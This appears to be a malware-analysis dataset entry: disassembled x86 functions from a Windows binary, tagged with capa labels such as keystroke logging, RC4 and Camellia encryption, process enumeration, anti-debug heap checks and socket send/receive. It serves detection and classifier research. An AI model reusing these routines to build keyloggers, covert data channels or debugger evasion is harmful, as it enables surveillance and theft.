joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c6126
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x6cdff2
call fcn.006b9c3c
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
xor eax, eax
mov dword [ebp - 4], eax
lea ecx, [esi + 0x20]
mov dword [esi + 0x14], eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x18], 0x4c652b
mov dword [ecx], eax
mov dword [ecx + 4], eax
lea eax, [ebp + 8]
push eax
call fcn.004c2682
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0x14]
mov eax, dword [ecx]
mov dword [esi + 0x28], eax
mov eax, dword [ecx + 4]
lea ecx, [esi + 0x30]
mov dword [esi + 0x2c], eax
call fcn.004c68c0
mov byte [ebp - 4], 2
lea ecx, [esi + 0x50]
push dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
call fcn.004c0b62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004a9de5
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x4c61b6
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x6cdff2
call fcn.006b9c3c
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
xor eax, eax
mov dword [ebp - 4], eax
lea ecx, [esi + 0x20]
mov dword [esi + 0x14], eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x18], 0x4c660e
mov dword [ecx], eax
mov dword [ecx + 4], eax
lea eax, [ebp + 8]
push eax
call fcn.004c2682
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0x14]
mov eax, dword [ecx]
mov dword [esi + 0x28], eax
mov eax, dword [ecx + 4]
lea ecx, [esi + 0x30]
mov dword [esi + 0x2c], eax
call fcn.004c68c0
mov byte [ebp - 4], 2
lea ecx, [esi + 0x50]
push dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
call fcn.004c0b62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004a9de5
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x4c6271
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x6ce02d
call fcn.006b9c3c
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
xor eax, eax
mov dword [ebp - 4], eax
lea ecx, [esi + 0x20]
mov dword [esi + 0x14], eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x18], 0x4c6773
mov dword [ecx], eax
mov dword [ecx + 4], eax
lea eax, [ebp + 8]
push eax
call fcn.004c2682
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0x14]
mov eax, dword [ecx]
mov dword [esi + 0x28], eax
mov eax, dword [ecx + 4]
lea ecx, [esi + 0x30]
mov dword [esi + 0x2c], eax
call fcn.004c6856
mov byte [ebp - 4], 2
lea ecx, [esi + 0x54]
push dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
call fcn.004c0b62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004a9de5
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4cf94f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x6cea83
call fcn.006b9c3c
sub esp, 0x418
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov byte [ebp - 4], 1
push 0x400
push ecx
lea eax, [ebp - 0x424]
push eax
call fcn.0068bfa0
add esp, 0xc
mov edi, ebx
mov dword [ebp - 0x18], edi
cmp edi, dword [ebp + 0xc]
jae 0x4cfa4c
mov edx, dword [ebp - 0x14]
mov esi, dword [edx + 0x400]
inc esi
and esi, 0x800000ff
jns 0x4cf9b4
dec esi
or esi, 0xffffff00
inc esi
mov dword [edx + 0x400], esi
mov ecx, dword [ebp + esi*4 - 0x424]
add ecx, dword [edx + 0x404]
and ecx, 0x800000ff
jns 0x4cf9d7
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [edx + 0x404], ecx
mov al, byte [ebp + esi*4 - 0x424]
mov byte [edx + 0x408], al
mov eax, dword [ebp + ecx*4 - 0x424]
mov dword [ebp + esi*4 - 0x424], eax
movzx ecx, byte [edx + 0x408]
mov eax, dword [edx + 0x404]
mov dword [ebp + eax*4 - 0x424], ecx
mov eax, dword [ebp + 8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + 0x404]
mov ecx, dword [ebp + eax*4 - 0x424]
add ecx, dword [ebp + esi*4 - 0x424]
and ecx, 0x800000ff
jns 0x4cfa38
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, byte [edx + edi]
xor eax, dword [ebp + ecx*4 - 0x424]
mov byte [edx + edi], al
inc edi
jmp 0x4cf98e
mov byte [ebp - 4], bl
test ebx, ebx
je 0x4cfa5a
mov ecx, ebx
call fcn.0040f5b8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4d0675
Capabilities:
Log keystrokes

Disassembly:
mov eax, 0x6cf1d0
call fcn.006b9c3c
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 1
push eax
mov ebx, dword [ebp + 8]
movzx eax, bl
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov byte [ebp + 8], al
mov cl, bl
call fcn.004d05e5
xor ecx, ecx
test al, al
setne cl
or ecx, 2
push ecx
push dword [ebp + 8]
push ebx
call fcn.004d052f
mov byte [ebp - 4], 0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4d0704
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
mov eax, 0x6cf1e2
call fcn.006b9c3c
sub esp, 0x158
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
xor eax, eax
inc eax
mov byte [ebp - 4], al
mov dword [ebp - 0x18], ebx
mov ecx, dword [ebp + 8]
cmp cl, 0x90
jne 0x4d0832
mov edi, eax
mov dword [ebp - 0x18], edi
cmp di, word [ebp + 0xc]
ja 0x4d080f
cmp byte [ebp + 0x14], 0
je 0x4d075a
call fcn.004d1628
xor eax, eax
inc eax
mov ecx, dword [ebp + 8]
mov edx, dword [0x7a0268]
cmp edx, 0x80000000
jae 0x4d0784
push ebx
push eax
push 0x45
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
push ebx
push 3
push 0x45
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp 0x4d0803
cmp dh, 0xa
jb 0x4d07c4
push 0x38
push ebx
lea eax, [ebp - 0x60]
push eax
call fcn.005077d5
add esp, 0xc
xor esi, esi
inc esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x60], esi
mov eax, dword [ebp + 8]
movzx eax, al
mov word [ebp - 0x40], ax
mov word [ebp - 0x5c], ax
push 2
pop esi
mov dword [ebp - 0x3c], esi
push 0x1c
lea eax, [ebp - 0x60]
push eax
push esi
call dword [sym.imp.USER32.dll_SendInput]
jmp 0x4d0803
push 0x90
call dword [sym.imp.USER32.dll_GetKeyState]
mov bx, ax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
and bl, 1
je 0x4d07ed
and byte [ebp - 0xd4], 0xfe
jmp 0x4d07f4
or byte [ebp - 0xd4], 1
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
xor ebx, ebx
inc edi
xor eax, eax
inc eax
mov ecx, dword [ebp + 8]
jmp 0x4d073c
mov byte [ebp - 4], bl
test ebx, ebx
je 0x4d081d
mov ecx, ebx
call fcn.0040f5b8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push ebx
movzx eax, cl
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov byte [ebp - 0x1c], al
xor esi, esi
inc esi
mov dword [ebp - 0x18], esi
cmp si, word [ebp + 0xc]
ja 0x4d080f
cmp byte [ebp + 0x14], 0
je 0x4d0857
call fcn.004d1628
mov ecx, dword [ebp + 8]
call fcn.004d05e5
xor ecx, ecx
test al, al
setne cl
push ecx
push dword [ebp - 0x1c]
push dword [ebp + 8]
call fcn.004d052f
cmp byte [ebp + 0x10], 0
je 0x4d0885
push 3
push dword [ebp - 0x1c]
push dword [ebp + 8]
call fcn.004d052f
inc esi
jmp 0x4d0843
Function at 0x4d1527
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x6cf2e3
call fcn.006b9c3c
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x1c], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 4], 1
push esi
push ebx
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
jne 0x4d15ee
test esi, esi
jne 0x4d1578
mov byte [ebp - 4], bl
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call fcn.0069cd67
pop ecx
mov ebx, eax
lea esi, [ebx + 5]
xor ecx, ecx
mov eax, esi
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0068a1e7
pop ecx
mov edi, eax
push esi
push 0
push edi
call fcn.005077d5
add esp, 0xc
push dword [ebp - 0x1c]
lea ecx, [ebx + 6]
push ecx
push edi
call fcn.006a0188
add esp, 0xc
xor eax, eax
mov word [edi + ebx*2], ax
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
lea eax, [ebp - 0x28]
push eax
push 0x4d1407
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
push edi
call fcn.0068a1e2
pop ecx
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4d1562
mov ecx, eax
call fcn.004d135f
mov byte [ebp - 4], bl
jmp 0x4d1567
Function at 0x4d574e
Capabilities:
Enumerate processes

Disassembly:
mov eax, 0x6cfb92
call fcn.006b9c3c
sub esp, 0x254
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
xor eax, eax
inc eax
mov byte [ebp - 4], al
mov al, bl
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x11], al
mov dword [ebp - 0x260], 0x22c
push ebx
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x260]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x4d57dd
lea eax, [ebp - 0x260]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
je 0x4d57dd
push edi
lea eax, [ebp - 0x23c]
push eax
call fcn.006a047d
pop ecx
pop ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, cl
test eax, eax
push 1
pop eax
cmove ecx, eax
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x11], cl
jmp 0x4d57a6
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 8
call fcn.00689e2f
pop ecx
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 2
mov dword [eax], vtable.obf::base_rvholder.0
mov dword [eax], vtable.obf::rvholder_bool_.0
mov ecx, dword [ebp - 0x28]
mov byte [eax + 4], cl
mov byte [eax + 5], cl
mov byte [ebp - 4], 1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
push eax
lea ecx, [ebp - 0x24]
call fcn.004f1ab5
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], ecx
xor eax, eax
inc eax
mov byte [ebp - 4], al
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x4d5849
call fcn.0040f5b8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
push 0x788544
lea eax, [ebp - 0x30]
push eax
call fcn.0068e3de
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax + 4]
mov al, byte [eax]
mov byte [ebp - 0x12], al
mov eax, 0x4d587e
ret
Function at 0x4ef80d
Capabilities:
Get number of processors

Disassembly:
mov eax, 0x6d27b3
call fcn.006b9c3c
sub esp, 0x64
push ebx
mov ebx, ecx
push esi
mov dword [ebp - 0x14], ebx
and dword [ebp - 0x10], 0
push edi
mov dword [ebp - 4], 3
mov al, byte [ebp + 0x10]
push ecx
mov ecx, esp
push ecx
mov byte [ecx], al
mov eax, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp + 0x10], esp
mov dword [ebp - 0x18], ecx
mov dword [eax], edx
lea eax, [ebp + 0x44]
push eax
call fcn.00411add
mov byte [ebp - 4], 5
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x18], esp
lea eax, [ebp + 0x2c]
mov dword [ebp - 0x1c], ecx
push eax
call fcn.004a6481
mov byte [ebp - 4], 7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1c], esp
lea eax, [ebp + 0x14]
mov dword [ebp - 0x20], ecx
push eax
call fcn.00411add
mov byte [ebp - 4], 9
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
call fcn.004f0a9d
mov edi, eax
mov byte [ebp - 4], 0xa
lea esi, [ebx + 4]
push edi
mov ecx, esi
mov dword [ebp + 0x10], esi
call fcn.004f0e58
mov byte [ebp - 4], 0xb
lea eax, [edi + 0x30]
lea ecx, [esi + 0x30]
push eax
mov dword [ebp - 0x20], ecx
call fcn.00411add
mov byte [ebp - 4], 0xe
mov eax, dword [edi + 0x48]
mov dword [esi + 0x48], eax
mov byte [ebp - 4], 0xf
mov al, byte [edi + 0x4c]
mov byte [esi + 0x4c], al
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x10], 1
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
call fcn.004eed11
mov byte [ebp - 4], 2
lea ecx, [ebp + 0x14]
push 0
push 1
call fcn.00411bc8
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x2c]
push 0
push 1
call fcn.004ab703
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x44]
push 0
push 1
call fcn.00411bc8
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4f0ea5
Capabilities:
Get process heap force flags

Disassembly:
mov eax, 0x6d30a8
call fcn.006b9c3c
sub esp, 0x10
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
lea eax, [ebp + 0x20]
mov dword [ebp - 0x18], ecx
push eax
call fcn.00411add
mov byte [ebp - 4], 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x18], esp
lea eax, [ebp + 8]
mov dword [ebp - 0x1c], ecx
push eax
call fcn.00411add
mov byte [ebp - 4], 6
mov byte [ebp - 4], 2
mov ecx, esi
call fcn.004b7327
mov byte [ebp - 4], 7
lea eax, [ebp + 0x38]
lea ecx, [esi + 0x30]
push eax
mov dword [ebp - 0x1c], ecx
call fcn.00411add
mov byte [ebp - 4], 1
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp + 8]
call fcn.00411bc8
mov byte [ebp - 4], bl
lea ecx, [ebp + 0x20]
push ebx
push 1
call fcn.00411bc8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x38]
push ebx
push 1
call fcn.00411bc8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x48
Function at 0x4f14c3
Capabilities:
Get process heap force flags

Disassembly:
mov eax, 0x6d3471
call fcn.006b9c3c
sub esp, 0x10
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
lea eax, [ebp + 0x20]
mov dword [ebp - 0x18], ecx
push eax
call fcn.004a6481
mov byte [ebp - 4], 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x18], esp
lea eax, [ebp + 8]
mov dword [ebp - 0x1c], ecx
push eax
call fcn.00411add
mov byte [ebp - 4], 6
mov byte [ebp - 4], 2
mov ecx, esi
call fcn.004f10dd
mov byte [ebp - 4], 7
lea eax, [ebp + 0x38]
lea ecx, [esi + 0x30]
push eax
mov dword [ebp - 0x1c], ecx
call fcn.00411add
mov byte [ebp - 4], 1
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp + 8]
call fcn.00411bc8
mov byte [ebp - 4], bl
lea ecx, [ebp + 0x20]
push ebx
push 1
call fcn.004ab703
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x38]
push ebx
push 1
call fcn.00411bc8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x48

Function at 0x4f3a04
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x6d3f56
call fcn.006b9c3c
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
xor edx, edx
mov dword [ebp - 4], edx
lea ecx, [esi + 0x24]
mov al, byte [ebp + 8]
mov byte [esi + 0x20], al
lea eax, [ebp + 0xc]
mov dword [esi + 0x14], edx
mov dword [esi + 0x18], 0x4f3c1d
mov dword [esi], edx
mov dword [esi + 4], edx
mov dword [esi + 8], edx
mov dword [esi + 0xc], edx
mov dword [esi + 0x10], edx
mov dword [esi + 0x1c], edx
push eax
mov dword [ecx], edx
mov dword [ecx + 4], edx
call fcn.004c2682
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 0x14]
push dword [ebp + 0x18]
mov eax, dword [ecx]
mov dword [esi + 0x2c], eax
mov eax, dword [ecx + 4]
lea ecx, [esi + 0x34]
mov dword [esi + 0x30], eax
call fcn.004f3d00
push dword [ebp + 0x1c]
lea ecx, [esi + 0x5c]
mov dword [ebp + 8], ecx
call fcn.004c0b62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004a9de5
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x4f41d4
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x6d4103
call fcn.006b9c3c
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
xor eax, eax
mov dword [ebp - 4], eax
lea ecx, [esi + 0x20]
mov dword [esi + 0x14], eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x18], 0x4f432f
mov dword [ecx], eax
mov dword [ecx + 4], eax
lea eax, [ebp + 8]
push eax
call fcn.004c2682
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0x14]
mov eax, dword [ecx]
mov dword [esi + 0x28], eax
mov eax, dword [ecx + 4]
lea ecx, [esi + 0x30]
mov dword [esi + 0x2c], eax
call fcn.004f440a
push dword [ebp + 0x18]
lea ecx, [esi + 0x6c]
mov dword [ebp + 0x10], ecx
call fcn.004c0b62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004a9de5
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4f477a
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
lea eax, [esp + 0x14]
push ebx
push esi
push edi
push eax
push 0x202
mov ebx, edx
mov edi, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4f484f
push eax
push 1
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x4f484f
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4f484f
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [esp + 0x1c]
push eax
call fcn.0068bfa0
add esp, 0xc
push 2
pop eax
push ebx
mov word [esp + 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4f484f
cmp byte [ebp + 8], al
je 0x4f484b
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [0x790348], 0x10
mov eax, 0x790334
push 0
push dword [0x790344]
cmovae eax, dword [0x790334]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x4f484f
mov eax, dword [0x790344]
add dword [0x7a03a0], eax
mov eax, esi
jmp 0x4f4851
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4f4858
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0068aad0
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
mov esi, ecx
mov edi, edx
push 0x4004667f
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x4f4888
xor eax, eax
jmp 0x4f48e6
cmp dword [ebp - 4], 0
je 0x4f48e3
push ebx
mov ebx, 0x2000
lea eax, [ebp - 0x2004]
push ebx
push 0
push eax
call fcn.005077d5
add esp, 0xc
lea eax, [ebp - 0x2004]
push 0
push ebx
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
pop ebx
test eax, eax
je 0x4f4884
add dword [0x7a02bc], eax
push 0
push eax
lea eax, [ebp - 0x2004]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x4f4884
mov eax, dword [ebp - 4]
add dword [0x7a03a0], eax
xor eax, eax
inc eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4f4c38
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov edi, ecx
call fcn.004f476e
mov esi, eax
test esi, esi
je 0x4f4c73
test edi, edi
je 0x4f4c73
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor eax, eax
mov dword [esi + 0x104], ebx
push eax
push eax
push esi
push 0x4f4bb0
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
xor eax, eax
inc eax
jmp 0x4f4c7c
push esi
call fcn.00694387
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x4f56f5
Capabilities:
Enumerate devices by category

Disassembly:
push ebx
push edi
xor ebx, ebx
mov edi, ecx
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [0x7a0468], eax
test eax, eax
je 0x4f5711
call fcn.004f5636
push esi
mov esi, dword [sym.imp.ole32.dll_CoCreateInstance]
push 0x7a0430
push 0x73ea38
push 1
push ebx
push 0x743334
call esi
mov dword [0x7a0468], eax
test eax, eax
je 0x4f573a
call fcn.004f5636
push 0x7a0420
push 0x743304
push 1
push ebx
push 0x743344
call esi
mov dword [0x7a0468], eax
test eax, eax
je 0x4f575c
call fcn.004f5636
mov eax, dword [0x7a0420]
push dword [0x7a0430]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
mov dword [0x7a0468], eax
test eax, eax
je 0x4f577b
call fcn.004f5636
call fcn.004f6864
push eax
push 0x73eaa8
push 1
push ebx
push 0x743324
call esi
mov dword [0x7a0468], eax
pop esi
test eax, eax
je 0x4f579f
call fcn.004f5636
mov eax, dword [0x7a042c]
push ebx
push 0x7a041c
push 0x743314
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
mov dword [0x7a0468], eax
test eax, eax
je 0x4f57c3
call fcn.004f5636
mov eax, edi
pop edi
pop ebx
ret
Function at 0x4f6870
Capabilities:
Encrypt data using camellia

Disassembly:
mov eax, 0x6d4821
call fcn.006b9c3c
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
xor ecx, ecx
inc ecx
mov byte [ebp - 4], cl
mov al, byte [ebp + 8]
cmp al, cl
jne 0x4f68bb
movzx eax, byte [ebp + 0xc]
mov al, byte [eax + 0x734ae0]
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp al, 2
jne 0x4f68e8
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ebx
lea eax, [ebp - 0x20]
lea edx, [ebp - 0x28]
movzx ecx, byte [ebp + 0xc]
add ecx, 0x734ae0
push eax
call fcn.004f9c15
pop ecx
jmp 0x4f68a5
cmp al, 3
jne 0x4f6908
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x34], ebx
lea eax, [ebp - 0x30]
lea edx, [ebp - 0x38]
jmp 0x4f68d5
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], ebx
lea eax, [ebp - 0x40]
push eax
lea edx, [ebp - 0x48]
lea ecx, [ebp + 0xc]
call fcn.004f9c15
pop ecx
movzx eax, al
jmp 0x4f689f